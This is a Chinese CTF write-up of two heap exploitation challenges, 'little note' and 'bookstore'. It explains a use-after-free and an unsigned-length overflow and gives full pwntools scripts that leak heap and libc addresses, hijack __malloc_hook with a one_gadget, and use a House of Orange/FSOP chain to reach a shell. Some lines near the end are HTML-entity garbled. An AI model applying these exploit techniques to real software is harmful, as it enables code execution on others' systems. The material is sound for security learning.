2018-2019赛季
little note
checksec
menu()
main()
增、删、查四个功能,并且保护基本全开。
add()
这里需要注意的就是,至多0xF个note并且大小固定0x60,创建完成后会问是否保留,若不保留的话会free掉当前note并创建一个0x20的备份。
show()
free()
freenote()有个UAF。
利用思路:这里有个很巧妙的方法,就是第一次利用UAF leak出heap地址,第二次利用UAF将fd改到某个堆块中间申请到该地址溢出修改下一chunk的size,free掉它利用UAF leak libc,第三次UAF依旧是fastbin attack
leak heap:
需要注意的是,不要delete(0)、delete(1)、show(1),这样leak不出来。
###leak heap###
add('leakaaaa','Y')#0
add('leakbbbb','Y')#1
add('leakcccc','Y')#2
add('leakdddd','Y')#3
add('leakeeee','Y')#4
delete(1)
delete(2)
show(2)
p.recv()
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70
log.success('heap:'+hex(heap))
leak libc:
上图讲了一下每个chunk的作用,初始我们是申请了5个chunk。
现在Double Free chunk1:
修改FD:
这里需要注意,我决定选择120,那么就要在118伪造好size。
Overflow to modify size:
可以看到chunk的size已经被修改了,其实现在哪个chunk对应的下标我有点混,不过不怕,看fd,是当时创建chunk写入的内容,找到对应下标。
其实按照顺序来应该是chunk8,但是free的话会报invaild next size.
###leak libc###
delete(1)
fake_chunk = heap + 0x0e0 + 0x30 + 0x10
over_chunk = heap + 0x150
add(p64(fake_chunk),'Y')#chunk1 5
payload = 'A' * 0x30 + p64(0) + p64(0x7f)
add(payload,'Y')#overflow 2 6
add('Nothing','Y')#1 7
payload = 'B' * 0x20 + p64(0) + p64(0xe1)
add(payload,'Y')#fake_chunk to overflow
delete(3)
show(3)
offset = 0x7f2f41f79b78 - 0x7f2f41bb5000
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - offset
get shell:
接下来就简单了,常规的劫持__malloc_hook
#! /usr/bin/python
from pwn import *
from LibcSearcher import *
p = process('./littlenote')
elf = ELF('./littlenote')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level = 'debug'
def add(cont,choice):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('note')
p.send(cont)
p.recvuntil('?')
p.sendline(choice)
def show(idx):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
def delete(idx):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
###leak heap###
add('leakaaaa','Y')#0
add('leakbbbb','Y')#1
add('leakcccc','Y')#2
add('leakdddd','Y')#3
add('leakeeee','Y')#4
delete(1)
delete(2)
show(2)
p.recv()
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70
log.success('heap:'+hex(heap))
###leak libc###
delete(1)
fake_chunk = heap + 0x0e0 + 0x30 + 0x10
over_chunk = heap + 0x150
add(p64(fake_chunk),'Y')#chunk1 5
payload = 'A' * 0x30 + p64(0) + p64(0x7f)
add(payload,'Y')#overflow 2 6
add('Nothing','Y')#1 7
payload = 'B' * 0x20 + p64(0) + p64(0xe1)
add(payload,'Y')#fake_chunk to overflow
delete(3)
show(3)
offset = 0x7f2f41f79b78 - 0x7f2f41bb5000
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x3c4b20
log.success('libc:'+hex(libc_base))
###get shell###
malloc_hook = libc_base + libc.symbols['__malloc_hook']
fake_chunk = malloc_hook - 0x23
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_gadget[2]
delete(1)
delete(2)
delete(1)
add(p64(fake_chunk),'Y')
add('get shell','Y')
add('get shell','Y')
payload = 'A' * 0x13 + p64(one_gadget)
add(payload,'Y')
###get shell###
p.interactive()
bookstore
main()
从主函数看得出来有整、删、查的功能,看一下。
addbook()
一共最多16个book,每个大小不得大于0x50,跟进一下readn:
readn
无符号数,只要传入0就可以溢出。
sellbook()
readbook()
思路1:
溢出修改next chunk size来leak libc,House of Orange 劫持 _IO_FILE_PLUS.vtable
思路2:
溢出修改next chunk size来leak libc,溢出fastbin attack 劫持 修改ret。
先看第一种:
leak libc
这里需要注意一下,图示申请的chunk大小是0x21(包括头)。
这里注意了,我不知道为什么,后面的chunk要0x40,不然会报Double Free.
修改chunk size使其进入unsorted bin中,申请另外的chunk切割它得到libc。
###leak libc###
add(0,'a'*0x10)#0
add(0x40,'b'*0x10)#1
add(0x40,'c'*0x10)#2
add(0x40,'d'*0x10)#3
delete(0)
payload = 'A' * 0x10 + p64(0) + p64(0xa1)
add(0,payload)#overwrite chunk 1
delete(1)
add(0x20,'aaaaaaaa')#1
show(1)
p.recvuntil('aaaaaaaa')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 232 - 0x3c4b20
log.success('libc base:'+hex(libc_base))
House of Orange – — FSOP
在这里再简单的提一下:
malloc_printerr—>__libc_message—>abort—>_IO_flush_all_lockup—>_IO_overflow
这是一整条调用链,我们可以利用unsorted bin attack将_IO_list_all改为main_arena+88,然后修改原top chunk的size为0x61,然后伪造一整个_IO_FILE结构,并修改vatle指针为_IO_str_jump。
需要注意_IO_str_jump不是导出符号,不能用pwntools直接计算。
#! /usr/bin/python
from pwn import *
#p = process('./bookstore',env={"LD_PRELOAD":"./libc_64.so"})
p = process('./bookstore')
elf = ELF('./bookstore')
libc = ELF('./libc_64.so')
#context.log_level = 'debug'
def add(size,cont):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('What is the author name?')
p.sendline('Railgun')
p.recvuntil('How long is the book name?')
p.sendline(str(size))
p.recvuntil('What is the name of the book?')
p.sendline(cont)
def delete(idx):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('?')
p.sendline(str(idx))
def show(idx):
p.recvuntil('Your choice:')
p.sendline('3')
p.recvuntil('?')
p.sendline(str(idx))
###leak libc###
add(0,'a'*0x10)#0
add(0x40,'b'*0x10)#1
add(0x40,'c'*0x10)#2
add(0x40,'d'*0x10)#3
#gdb.attach(p)
delete(0)
payload = 'A' * 0x10 + p64(0) + p64(0xa1)
add(0,payload)#overwrite chunk 1
delete(1)
add(0,'aaaaaaaa')#1
show(1)
p.recvuntil('aaaaaaaa')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))- 232
libc_base =main_arena - 0x3c4b20
log.success('libc base:'+hex(libc_base))
###House Of Orange###
system = libc_base+libc.symbols['system']
sh = libc_base + libc.search("/bin/sh").next() + 0x40
io_list_all = libc_base + libc.symbols['_IO_list_all']
io_str_jump = libc_base + libc.symbols['_IO_file_jumps']+0xc0
#stream = 'A' * 0x10 #overflow
stream = p64(0) + p64(0x61)
stream += p64(0) + p64(io_list_all-0x10) #unsorted bin attack
stream &#43;&#61; p64(0) &#43; p64(1) # _IO_write_base <#_IO_write_ptr
stream &#43;&#61; p64(0) &#43; p64(sh)
stream &#43;&#61; p64(0) * 19
stream &#43;&#61; p64(io_str_jump-8) # str_jump
stream &#61; stream.ljust(0xe8,&#39;\x00&#39;)
stream &#43;&#61; p64(system) # fp&#43;0xe8&#61;system
add(0,&#39;A&#39;*0x10&#43;stream)
#gdb.attach(p)
###get shell###
p.sendline(&#39;1&#39;)
p.sendline(&#39;1&#39;)
p.sendline(&#39;1&#39;)
p.interactive()